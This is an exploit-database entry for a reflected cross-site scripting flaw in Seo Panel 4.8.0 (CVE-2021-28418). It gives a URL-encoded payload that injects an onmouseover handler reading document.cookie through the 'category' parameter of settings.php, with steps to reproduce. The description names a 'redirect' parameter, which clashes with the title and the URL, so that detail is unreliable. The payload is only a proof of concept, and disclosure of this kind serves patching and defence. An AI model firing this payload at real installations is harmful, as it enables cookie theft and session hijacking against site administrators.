Lucene search

K
zdtPiyush Patil1337DAY-ID-36334
HistoryJun 02, 2021 - 12:00 a.m.

Seo Panel 4.8.0 - (category) Reflected XSS Vulnerability

2021-06-0200:00:00
Piyush Patil
0day.today
16
seo panel
reflected xss
category parameter
remote attackers
javascript injection
cve-2021-28418
admin panel.

EPSS

0.002

Percentile

51.6%

# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28418


-Description:
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit:
http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
3- Hover your mouse to "Cancel" field

EPSS

0.002

Percentile

51.6%